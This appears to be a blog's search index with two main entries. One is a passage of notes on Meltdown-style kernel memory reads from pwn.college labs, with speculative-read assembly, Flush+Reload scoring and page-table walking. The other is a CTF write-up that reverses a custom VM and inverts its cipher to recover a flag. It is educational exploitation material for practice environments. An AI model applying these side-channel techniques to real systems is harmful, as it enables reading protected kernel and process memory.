MODE 0 — verify the channel alone, pure userspace // MODE 1 — verify fault suppression + speculative read (recover a known value) // MODE 2 — actual kernel address read MODE 0 failing means a cache channel problem. MODE 1 failing means fault suppression or the window. Only MODE 2 failing means the address or L1 residency. The failure point identifies the cause. Debugging time dropped by an order of magnitude once this was in place.\nThe same idea applies to picking a target. Don\u0026rsquo;t go for the flag on your first kernel read. If nothing comes out you won\u0026rsquo;t know whether that\u0026rsquo;s failure or just how it is. Read something whose answer you already know instead. The comm field of task_struct holds the process name in ASCII, so the moment babyarch_molten appears on screen, the gate and the address and the channel are all verified at once.\nThis works even where permissions prevent attaching a debugger. I know my own process\u0026rsquo;s name.\nOnce one byte reads, the rest is ordinary work After comm shows up, exactly one thing is in hand. A function that reads one byte from a kernel address.\n1 uint8_t leak_byte(uint64_t kaddr); Call it eight times and you have a qword, and at that moment kernel memory becomes an array you can read. Pulling mm out of task_struct and pgd out of mm is just offset arithmetic. Ordinary pointer chasing.\nThis is where I think the structural character of these challenges lies. The technique writeups end at \u0026ldquo;you can read kernel memory,\u0026rdquo; but the actual target is usually in another process\u0026rsquo;s user memory. What bridges the two isn\u0026rsquo;t the side channel, it\u0026rsquo;s knowledge of kernel data structures. Meltdown is only the first link, and the rest is work anyone who knows Linux memory management would do.\nThe confusing part is that three kinds of addresses get mixed together. There\u0026rsquo;s the user virtual address the victim sees, the kernel virtual address you can hand to leak_byte, and the physical address stored inside page table entries. Fail to keep them separate and you lose track of which one a given line is dealing with.\nThe direct map bridges them. Linux linearly maps all of physical memory into the kernel address space at boot, so PAGE_OFFSET + physical is a readable address. The moment \u0026ldquo;knowing the physical address means being able to read it\u0026rdquo; holds, the walk becomes possible.\nThe walk itself is boring. Slice nine bits out of the virtual address for an index, pull the next table\u0026rsquo;s physical address out of the entry, repeat four times. It\u0026rsquo;s what the CPU does in hardware, transcribed into C.\nThe hard part is elsewhere. Every read is probabilistic. One wrong byte at one stage and the next table\u0026rsquo;s address is wrong, and everything below that is garbage. With no error message. Just odd values.\nSo verification goes in at every stage. Is the present bit set, does the physical address fall inside this system\u0026rsquo;s memory, does reading the same address repeatedly give a consistent value. You need at least this much to tell a missing mapping from a failed read when an entry comes back zero.\nDon\u0026rsquo;t guess struct offsets. They differ by kernel version, one wrong offset collapses everything below it, and tracking down why is miserable. If the module kept debug info, pahole settles it, and otherwise /sys/kernel/btf/vmlinux does. It\u0026rsquo;s a five-minute job with no reason to skip it.\nPut another way, this whole chain rests on a single primitive. Which makes it right to spend time hardening that one thing. Everything below is about that.\nWhat to look at when the signal is weak Always printing the histogram turned out to help a lot. The final verdict alone tells you nothing, but seeing which page got how many votes per round shows you the shape of the failure.\nNo votes at all means the gate never opened. Votes scattered around means the signal is there but weak, and that you can beat with repetition. Votes all piled on page 0 is the classic look of a register zeroed after a fault. The value didn\u0026rsquo;t leak, it read as zero, so dropping page 0 from the count surfaces the real signal buried underneath.\nChanging the metric mattered too. At first only the fastest page per round got a vote.\n1 2 3 if (t \u0026lt; min_time \u0026amp;\u0026amp; j \u0026gt;= 0x20 \u0026amp;\u0026amp; j \u0026lt;= 0x7e) { min_time = t; best_j = j; } ... if (best_j != -1) hit_counts[best_j]++; When the signal is weak, noise keeps stealing that single vote. Switching to accumulating every page under the threshold made a visible difference.\n1 if (t_val \u0026lt; threshold) score[j]++; The secret scores every time the gate succeeds while noise is sporadic, so the gap widens as trials pile up. I also raised attempts from 50 to 500 and then 1000, but that increase only started meaning something after the switch to accumulation.\nKnowing the domain cuts noise at the source If you know something about what you\u0026rsquo;re reading, using it as a filter makes whole categories of noise disappear.\nA flag is printable ASCII. So candidate pages can be restricted to 32 through 126, and upper-byte noise never gets a chance to steal the argmax. Fewer lines to probe and flush is a bonus that makes each round faster.\nPointers and page table entries have stronger structure. Page-aligned means the low twelve bits are zero, a direct-map address has a fixed upper byte, and the present bit has to be set. Knowing these invariants lets you catch single-byte errors automatically.\nThere was a moment this actually worked as a detector.\n1 2 3 [!] mm/pgd bad (mm=0xffff88807d4dd001 pgd=0xffff88807c66c0) → recalibrating [calib] hit~72 miss~284 threshold=156 [*] mm=0xffff88807d4dd000 pgd=0xffff88807c66c000 mm has a stray low bit set and pgd is missing a byte entirely. Both tripped the \u0026ldquo;a kernel pointer can\u0026rsquo;t look like this\u0026rdquo; condition, recalibration fired, and the next attempt came back clean.\nThe channel and the exit are separate problems Use Flush+Reload long enough and it starts to feel like the only option. But how you read cache line state and how you get the recovered value out are two different problems.\nIn one challenge I used the latency of prefetcht0 itself as the channel. Mapped and unmapped pages take different amounts of time to prefetch, and that\u0026rsquo;s enough to sweep the address space.\n1 2 3 4 5 6 7 rdtsc mov r12, rax prefetcht0 [rbx] rdtsc sub rax, r12 cmp rax, r14 jl verify_address What this yields isn\u0026rsquo;t data, it\u0026rsquo;s an address. The same tool doing both data leaks and address discovery makes sense once you think about it. Anything that leaves a trace in cache or TLB state can be a channel, and the only difference is whether that trace tells you a value or tells you something exists.\nWhen a candidate turns up it isn\u0026rsquo;t accepted immediately. It gets confirmed five more times.\n1 2 3 4 5 verify_loop: ... cmp rax, r14 jg next_page loop verify_loop Sweep an entire address space and something will come back fast from noise at least once. Coming back fast five times in a row is far less likely. In scan-like work with many candidates, without a confirmation step the false positives dominate the result.\nThe exit was more extreme. With no shared memory available, bytes came out one at a time through the process exit code.\n1 2 3 4 5 6 found_flag: mov rsi, {flag_offset} movzx rdi, byte ptr [rbx + rsi] exit_syscall: mov rax, 60 syscall One new process per byte. Terrible bandwidth, but better than having no channel at all. And once you have this perspective other things start looking like exits too. Exit codes, running time, signal types, a line in a log.\nChoosing the threshold worked differently here as well. Instead of deriving it by measurement, a candidate list gets tried in full and whichever one produces plausible output wins.\n1 2 3 4 5 threshold_candidates = [85, 90, 95, 100, ..., 150, 75, 80] for trial_threshold in threshold_candidates: char_code = extract_flag_char(i, trial_threshold) if char_code is not None and 32 \u0026lt;= char_code \u0026lt;= 126: break The fact that a flag is printable ASCII acts as the threshold selector. A usable workaround in an environment where calibration isn\u0026rsquo;t convenient. It only holds when the domain constraint is tight enough, though, since a loose check lets a wrong threshold pass by chance.\nCalibration isn\u0026rsquo;t a constant Early code had this line in it.\n1 uint64_t min_time = 150; // Threshold: adjust between 100~200 depending on the system The comment already states the whole problem. It knows the value is system-dependent and hardcodes it anyway. Later this became a measurement at the start of each run, with a guard that falls back to a default if the result is absurd.\n1 2 threshold = calibrate(buf); if (threshold \u0026lt; 50 || threshold \u0026gt; 500) threshold = 150; None of that was hard. What I didn\u0026rsquo;t know was that it drifts within a single run.\nCode that ran fine with a threshold of 174 suddenly measured 287, and everything read after that was garbage. Adding a warmup and taking a conservative value across repeated measurements reduced how often this happened, but never eliminated it.\nUsing the median instead of the mean helped too. Timing distributions have long tails, and one interrupt drags the mean up wholesale.\n1 2 hit_med, miss_med = statistics.median(hit_samples), statistics.median(miss_samples) threshold = (hit_med + miss_med) / 2 There\u0026rsquo;s also the option of changing what you calibrate against. Rather than measuring HIT with a synthetic access, run the actual attack path with a guessable answer. If the flag starts with pwn.college{ then the first character is p, and how long that page takes to land in cache is the HIT for this specific path. A wrong guess means wrong calibration, but when synthetic measurement and the real path have different characteristics this is the more accurate one.\nSo I wired the structural check above in as a recalibration trigger. If the result is structurally impossible, measure again and retry. Watching recalibration show up in the log and the next read come back clean was fairly satisfying.\nAnd then that same mechanism came back to bite.\nWhen automatic recovery becomes an infinite loop I once pinned the victim process to the same core as the attacker, thinking shared cache might help.\nThe opposite happened. Reads that had been working fell apart. The victim\u0026rsquo;s busy loop kept destroying the attacker\u0026rsquo;s cache state, so nothing came out starting from the mm and pgd stage. Removing the pin fixed it immediately.\nThis is where the recalibration logic spun forever. The structural check kept failing so it kept recalibrating, but the cause was cache interference rather than calibration, so no amount of remeasuring was ever going to fix it.\nRecalibration wasn\u0026rsquo;t the wrong idea. But an automatic recovery mechanism is only valid for the failure it was designed for. Meet a failure with a different cause and it quietly becomes an infinite loop, which makes finding the real cause take longer than it would have. Automation that hides failure is worse than no automation.\nCode I wrote for a different challenge happened not to have this problem. It caps retries, and past the cap it accepts the best it has along with a marker.\n1 2 3 4 5 if (retry \u0026gt;= 5) { flag[i] = (char)best; printf(\u0026#34;Index %2d: %c (WEAK)\\n\u0026#34;, i, flag[i]); break; } The (WEAK) marker is the point. Take the value but record that confidence was low. Then you can look at the whole result and see which positions are suspect, and if the surrounding characters give you context you can fill it in by hand. A compromise that neither stalls nor hides the failure.\nThe more important instinct this left behind is to always be aware of who fills the cache and who destroys it. Co-location helps in some situations and hurts in others.\nTo be straight about one thing: attacker-side core pinning was on from the first run and I never compared with it off. The case for pinning is theoretical, and I didn\u0026rsquo;t measure the difference in this environment.\nThe problem nobody explains in detail Meltdown only reads what\u0026rsquo;s in L1. If the target sits in L2 or memory, the permission check resolves before the data arrives.\nExplanations note this condition in one line and move on. In practice it\u0026rsquo;s where you get stuck most. That byte you want, right before you read it, how do you get it into L1?\nThe answer differed every time. If some kernel or VM logic walks over the secret, call it and let it do the reading for you. If there\u0026rsquo;s an ioctl that dereferences a user pointer, the cache line stays in L1 even though no value comes back, which makes it a preloader in effect. Before and after adding that preload, the numbers went to 1991 matches out of 2000.\nSome interfaces make the kernel walk page tables, which indirectly pulls the line you want into cache. Except when the permission check fires before the walk does, targeting a setuid process for instance, in which case it does nothing at all. Fail to distinguish this failure from the others and you\u0026rsquo;ll be lost for a while.\nIf the victim process is still running you can lean on that directly, since it keeps its own data in its own core\u0026rsquo;s cache. x86 L1D is physically indexed, so the same physical line is the same entry regardless of which virtual address cached it. That\u0026rsquo;s why what the victim brought in through its own user VA is readable by me through a direct-map address.\nHow to prime is ultimately a question of who in this system touches that memory. And you can\u0026rsquo;t answer that without understanding the system\u0026rsquo;s structure. This is the point where a side channel is a systems problem rather than a pure hardware one.\nC source is not a contract with the CPU The thing I fought longest and learned the most from.\nTo widen the speculation window I wrote this.\n1 2 3 4 volatile double d = 1.0; for (int i = 0; i \u0026lt; 40; i++) d /= 1.7; uint8_t v = *(volatile uint8_t *)kaddr; (void)probe[v * 4096]; Floating-point division is slow, so the permission check would be delayed and the window would widen. That was the reasoning. The histogram came back completely empty. Changing the iteration count didn\u0026rsquo;t help. Adding more volatile didn\u0026rsquo;t help.\nSwitching to inline assembly made it work immediately.\n1 2 3 4 5 6 xorq %rax, %rax 1: movzbq (%[addr]), %rax shlq $12, %rax jz 1b movq (%[buf], %rax), %rbx Same intent, different outcome. A compiler is free to reorder instructions, delete them, and reassign registers as long as meaning is preserved. What volatile guarantees stops at \u0026ldquo;don\u0026rsquo;t remove this access.\u0026rdquo; It says nothing about how surrounding instructions get placed.\nWhich is obvious in hindsight. C\u0026rsquo;s semantics are defined over an abstract machine, and that abstract machine has no speculative execution, no cache, no branch predictor. Everything I was trying to manipulate lives below that abstraction. I was trying to steer the bottom from the top.\nThere are points in this area where inline assembly isn\u0026rsquo;t a preference but a requirement. And more important than that is the habit of checking the critical loop with objdump -d every time. Comparing what I wrote in C against what the CPU will actually execute. Without that habit you never find out why it doesn\u0026rsquo;t work.\nWorth noting why the jz 1b retry loop is effective, too. Putting a branch that loops again when the value is zero gives the CPU more chances to reach the probe access while speculating through it. It isn\u0026rsquo;t widening the window so much as getting more attempts inside it.\nWhat\u0026rsquo;s left I don\u0026rsquo;t think what I got out of this dojo was side-channel knowledge. That\u0026rsquo;s available everywhere if you go looking.\nWhat\u0026rsquo;s left is a way of handling things you can\u0026rsquo;t observe. Verify against something whose answer you know. Structure the code so failure identifies its cause. Derive constants by measuring instead of guessing. Represent uncertain results as \u0026ldquo;unknown.\u0026rdquo; When something doesn\u0026rsquo;t work, remove rather than add, and change one thing at a time.\nNone of this is specific to side channels. It transfers directly to any work involving uncertain observation.\nOne more thing. The perspective of pushing a system into a state its developers never considered keeps showing up outside this area. Kernel races do it along the time axis, and smart contract invariant violations do it along the call-ordering axis. Only the axis differs, and the question being asked is the same. Where are the states this machine can reach that nobody thought about?\n","permalink":"https://wjddml.github.io/en/notes/en-microarch-exploitation/","summary":"Trial and error, engineering tricks, and what came out of turning theory into working code while going through the pwn.college Microarchitecture Exploitation dojo.","title":"Microarchitecture Exploitation — Between the Concept and Code That Works"},{"content":"Overview The challenge ships a single file, cinder.\n1 2 3 $ file cinder cinder: ELF 64-bit LSB pie executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, stripped Run it and it reads a password, then prints nothing but true or false. aarch64, stripped, PIE — the first impression is intimidating, but none of the verification logic lives in the native code. A firmware image is embedded in the binary and cinder is the interpreter that runs it.\nThe plan:\nIdentify the VM interpreter in the native code, get the ROM base and size Dump the firmware Recover the ISA from the dispatch branches, write a disassembler Classify the data regions inside the firmware Extract the linear layer matrix Invert 8 rounds to recover the password Decrypt the flag with the password Getting to the ISA was relatively smooth. Steps 4 through 6, reading the cipher back out of the disassembly, took most of the time.\n1. Identifying the interpreter If aarch64 is new to you, this is where you hesitate. The approach is no different from x86-64 ELF. Only the instruction set changes, and once a decompiler is attached the reading flow is the same. If anything, fixed 4-byte instructions and a generous register file make aarch64 decompile output tidier than x86.\nStripped means no symbols, so you look for structure instead. The interpreter body has a distinct shape: read four bytes, pack them into a 32-bit word, branch on one of those bytes through a large dispatch, and have every branch index the same global array.\nThree globals fall out of the decompilation.\nSymbol Role Evidence DAT_00100e80 ROM (firmware) instruction fetch target DAT_00113018 register file 4-byte stride, nibble-indexed DAT_00113058 RAM byte stride, \u0026amp; 0xffff The register file and RAM are 0x40 apart. That is 4 bytes × 16 entries, so sixteen 32-bit registers. RAM is masked with \u0026amp; 0xffff, so 64KB.\nEverything step 2 needs is right here. The ROM base is at file offset 0xe80, and the ROM access opcode carries this:\n1 2 // opcode 0xc6 (LDR_ROM) reg[rd] = ROM[(imm16 + reg[rs1]) % 0x131e]; The modulus is the firmware size. No estimating, no working backwards from the data layout — 0x131e, stated outright.\nWorth noting. Because the binary is PIE, addresses shown by static analysis tools are offsets from the image base. Cross-referencing with dynamic analysis means adding the runtime base. Running an aarch64 binary on an x86 host needs qemu-aarch64.\n1 $ qemu-aarch64 -L /usr/aarch64-linux-gnu ./cinder 2. Dumping the firmware Both values come straight from step 1.\n1 2 3 4 5 6 7 8 9 10 FILE_PATH = \u0026#39;the_cinder_engine/cinder\u0026#39; OFFSET = 0xe80 SIZE = 0x131e with open(FILE_PATH, \u0026#39;rb\u0026#39;) as f: f.seek(OFFSET) firmware_data = f.read(SIZE) with open(\u0026#39;firmware.bin\u0026#39;, \u0026#39;wb\u0026#39;) as out: out.write(firmware_data) 3. Recovering the ISA The bit manipulation in the fetch path spells out the instruction format.\n1 2 3 4 5 6 word = byte3 \u0026lt;\u0026lt; 24 | byte2 \u0026lt;\u0026lt; 16 | byte1 \u0026lt;\u0026lt; 8 | byte0; imm16 = word \u0026amp; 0xffff; rd = byte2 \u0026gt;\u0026gt; 4; rs1 = byte2 \u0026amp; 0xf; rs2 = byte0 \u0026amp; 0xf; Fixed 4-byte instructions. Read as a little-endian 32-bit word, the layout is clean.\n1 2 3 4 5 31 24 23 20 19 16 15 0 +--------+------+------+------------------+ | opcode | rd | rs1 | imm16 | +--------+------+------+------------------+ rs2 = imm16 \u0026amp; 0xF Two registers share a byte as nibbles, and three-operand instructions pull rs2 back out of the low nibble of the immediate. Immediate-form and three-register-form instructions overlap on the same field.\nSign extension:\n1 imm16_s = (byte1 \u0026lt;\u0026lt; 8) \u0026amp; 0x8000 ? (word | 0xffff0000) : imm16; The branch target is uVar2 + imm16_s, and uVar2 is already pc + 4. So it is pc + 4 + offset, not pc + offset. The PC increments as part of the fetch. That four-byte difference is an easy way to end up one instruction off on every branch.\nOpcode table opcode mnemonic operation 0x00 HALT stop 0x11 MOV rd = rs1 0x29 ROLI rd = rotl(rs1, imm \u0026amp; 31) 0x2a ROR rd = rotr(rs1, byte0 \u0026amp; 31) 0x2b SHL rd = rs1 \u0026lt;\u0026lt; (byte0 \u0026amp; 31) 0x2c SHR rd = rs1 \u0026gt;\u0026gt; (byte0 \u0026amp; 31) 0x3a MOVI rd = imm16 0x52 XOR rd = rs1 ^ rs2 0x53 AND rd = rs1 \u0026amp; rs2 0x54 OR rd = rs1 | rs2 0x6b MUL rd = rs1 * rs2 0x7c ADD rd = rs1 + rs2 0x7d SUB rd = rs1 - rs2 0x80 ADDI rd = rs1 + imm16 0x90 CMP Z = (rs1 == rs2) 0xa0 JMP unconditional 0xa1 JZ branch if Z 0xa2 JNZ branch if not Z 0xc4 LDR rd = RAM[(rs1 + imm16) \u0026amp; 0xffff] 0xc5 STR RAM[(rs1 + imm16) \u0026amp; 0xffff] = rd \u0026amp; 0xff 0xc6 LDR_ROM rd = ROM[(rs1 + imm16) % 0x131e] 0xe0 GETC one input byte, sets Z on exhaustion 0xe1 PUTC write rs1 \u0026amp; 0xff Opcodes cluster by high nibble, which speeds the table up. Once 0x29 turns out to be a rotate, 0x2a through 0x2c are worth assuming into the same family and then verifying.\nThe split between RAM and ROM access matters. Constant tables live in the same image as the code, and the S-box and round keys do in fact come from there.\nThree mistakes made during the CTF The table below is the difference between the disassembler written during the competition and the actual behavior confirmed on review. All three went unnoticed at the time, and the solution still worked.\nItem As written Actual 0x2a–0x2c shift amount r{rs2} immediate byte0 \u0026amp; 0x1f 0x29 rotate amount imm16_s (-imm) \u0026amp; 0x1f (effectively rotate left) 0xa1 / 0xa2 JNZ / JZ JZ / JNZ For the shift family, rs2 = byte0 \u0026amp; 0xf and the shift amount byte0 \u0026amp; 0x1f overlap on the low four bits. Most instructions therefore print the same number either way, and only diverge when bit 4 is set. Not the kind of error that turns up by eye.\nThe branch polarity was fully inverted. The reason it did not matter surfaces in step 5: the linear layer, the one region that actually had to be read, contains no branches at all. Any region with control flow would have been traced backwards from end to end.\nPassing the challenge and recovering the ISA correctly are separate things. Here, only the parts that mattered had to be right.\nWhat updates the flag There is a single Z flag, but CMP is far from its only writer. ADD, SUB, AND, OR, XOR, MUL, and ADDI all update it based on whether the result is zero, and GETC sets it when input runs out. One arithmetic instruction slipped in front of a conditional branch changes its meaning, so the preceding instruction has to be read alongside it.\nDisassembler 1 2 3 4 5 6 7 8 9 opcode = byte3 reg_dest = (byte2 \u0026gt;\u0026gt; 4) \u0026amp; 0xF reg_src1 = byte2 \u0026amp; 0xF reg_src2 = byte0 \u0026amp; 0xF imm16_u = (byte1 \u0026lt;\u0026lt; 8) | byte0 imm16_s = imm16_u if not (imm16_u \u0026amp; 0x8000) else imm16_u - 0x10000 jmp_target = pc + 4 + imm16_s 4. Classifying the data regions Find where the code ends in the disassembly and everything past it is data.\nOffset Size Contents 0x0000 – — code (0x0070–0x1018 is the linear layer) 0x10c4 256 S-box 0x11c4 288 round keys, 9 × 32 0x12e4 32 target state 0x1304 26 encrypted flag 0x131e end The last region ends exactly at 0x131e, matching the size from step 1. That is a decent sign nothing was missed.\nThe S-box is recognizable on sight: 256 bytes with no repeats. Nine round keys over a 32-byte state pins the structure down to an 8-round SPN. Each round adds a key, substitutes through the S-box, and mixes through the linear layer. Same skeleton as AES with different parameters.\nA target state baked into the firmware means the input gets encrypted and compared against it. Invert it and the required input falls out.\n5. Extracting the linear layer matrix This is where the approach forked.\nThe S-box and round keys are tables, so slicing them out is the whole job. The linear layer is not a table — it is code. Roughly 4KB from 0x0070 to 0x1018, on the order of a thousand instructions.\nYou could read it instruction by instruction and track which input byte XORs into which output byte. But it is unrolled LDR/XOR/STR repetition, so transcription errors accumulate and there is no convenient way to tell whether you got it right.\nUse the property of the transform instead. If each output byte is the XOR of some subset of input bytes, then flipping one input and watching which outputs change tells you exactly where that input contributes. Thirty-two runs give the entire 32×32 matrix.\n1 2 3 4 5 6 7 8 9 base_out = run_mix_block(rom, [0]*32) mix_matrix = [[0] * 32 for _ in range(32)] for i in range(32): test_in = [0] * 32 test_in[i] = 1 out = run_mix_block(rom, test_in) for j in range(32): mix_matrix[j][i] = out[j] ^ base_out[j] base_out is measured separately for a reason. The layer is affine, not purely linear — a constant is folded in. Feeding the zero vector measures that constant first, and XORing it out of the rest leaves the linear part alone. Skip this and the matrix still looks plausible while the inversion quietly disagrees.\nThree opcodes are enough for the emulator Probing requires executing that region. It does not require implementing the VM.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 def run_mix_block(rom, input_state): mem = [0] * 256 for i in range(32): mem[i] = input_state[i] regs = [0] * 16 pc = 0x0070 while pc \u0026lt; 0x1018: b0, b1, b2, opcode = rom[pc:pc+4] imm = (b1 \u0026lt;\u0026lt; 8) | b0 if opcode == 0xc4: # LDR regs[(b2 \u0026gt;\u0026gt; 4) \u0026amp; 0xF] = mem[regs[b2 \u0026amp; 0xF] + imm] elif opcode == 0xc5: # STR mem[regs[b2 \u0026amp; 0xF] + imm] = regs[(b2 \u0026gt;\u0026gt; 4) \u0026amp; 0xF] elif opcode == 0x52: # XOR regs[(b2 \u0026gt;\u0026gt; 4) \u0026amp; 0xF] = regs[b2 \u0026amp; 0xF] ^ regs[b0 \u0026amp; 0xF] pc += 4 return mem[128:160] The real RAM is 64KB, but this region only touches input at 0–31 and output at 128–159, so 256 bytes covers it. Three opcodes, no branch handling, straight through from start to end.\nThat works on one condition: the region has to be fully unrolled straight-line code. A fixed 32-byte linear transform has no reason to loop, and the disassembly confirms there are no branches in that range.\nCheck before running. Grepping the region for 0xa0–0xa2 first is cheap insurance. One branch in there and this runner produces wrong output, silently.\nRecovering the full ISA was not wasted work. Knowing that the region is straight-line and uses only three opcodes requires the disassembly. The runner, though, only needs to implement what actually executes.\n6. Inverting Invert the matrix over GF(2). With only 0 and 1 as elements, the subtraction in Gaussian elimination becomes XOR.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 def get_inverse_matrix(matrix): n = len(matrix) aug = [row[:] + [1 if i == j else 0 for j in range(n)] for i, row in enumerate(matrix)] for i in range(n): pivot = next((k for k in range(i, n) if aug[k][i] == 1), None) if pivot is None: sys.exit(1) aug[i], aug[pivot] = aug[pivot], aug[i] for k in range(n): if k != i and aug[k][i] == 1: for j in range(2*n): aug[k][j] ^= aug[i][j] return [row[n:] for row in aug] Bailing out on a missing pivot is deliberate. A singular matrix means the probing in step 5 was wrong. The linear layer of a working cipher is always invertible, so stopping here beats carrying a bad matrix forward.\nNow unwind 8 rounds from the target state. The forward direction is key XOR → S-box → linear layer, so the inverse reverses that order.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 state = target[:] for r in range(8, 0, -1): state = [state[i] ^ round_keys[r][i] for i in range(32)] state = [state[i] ^ base_out[i] for i in range(32)] # remove affine constant new_state = [0] * 32 for i in range(32): for j in range(32): if inv_mix_matrix[i][j]: new_state[i] ^= state[j] state = [inv_sbox[b] for b in new_state] required_input = [state[i] ^ round_keys[0][i] for i in range(32)] Mind the round key indices. There are nine keys and eight rounds, because a key is added once more after the final round. The reverse direction therefore starts at round_keys[8] and finishes at round_keys[0]. Off by one and everything is wrong, with no intermediate check to tell you where.\n7. Decrypting the flag Feed the recovered 32 bytes back in and the check passes. That is not the flag.\nA separate 26 bytes sit at 0x1304, XORed with the password.\n1 2 enc_flag = list(rom[0x1304 : 0x1304 + 26]) flag = \u0026#34;\u0026#34;.join(chr(required_input[i] ^ enc_flag[i]) for i in range(26)) Passing the check and obtaining the flag are deliberately split. Without having classified the data regions all the way to the end in step 4, this would have meant another round trip.\nTakeaways aarch64 is not far from x86-64 in tooling or approach. Stripped and PIE were the bigger variables. The interpreter body has the ROM base and size, register count, and RAM size all baked in as constants. Grabbing those before touching the firmware removes a lot of guesswork downstream. Recovering the ISA is not the finish line on a custom VM challenge. Most of the time here went into reading the cipher structure out of the recovered assembly. Unrolled linear code is faster and more reliable to observe than to read. Thirty-two executions produced the whole matrix. A partial emulator is often enough. Its premise — that the region is straight-line — does need checking. Full scripts: ctf-writeups/2026-cyber-apocalypse/the-cinder-engine\n","permalink":"https://wjddml.github.io/en/writeups/the-cinder-engine/","summary":"Recover the ISA of a custom VM embedded in a stripped ARM aarch64 binary, then invert the 8-round SPN block cipher implemented inside its firmware to recover the flag.","title":"The Cinder Engine — Reversing a Custom VM Embedded in an ARM Binary"},{"content":"spectatar IT ELUDED US THEN, BUT THAT\u0026rsquo;S NO MATTER—\nTOMORROW WE WILL RUN FASTER.\nSTRETCH OUT OUR ARMS FARTHER\u0026hellip;\nAND ONE FINE MORNING——\nSO WE BEAT ON, BOATS AGAINST THE CURRENT,\nBORNE BACK CEASELESSLY INTO THE PAST.\nActivity pwn.college · CTF Academy · VOLT\nInterests Binary exploitation · kernel exploitation Microarchitectural side channels Reverse engineering (custom VMs, obfuscation) Programming language theory · formal verification Symbolic execution · fuzzing Virtual machines · hypervisors Focus Web3 security auditing Low-level systems security ","permalink":"https://wjddml.github.io/en/about/","summary":"about","title":"About"}]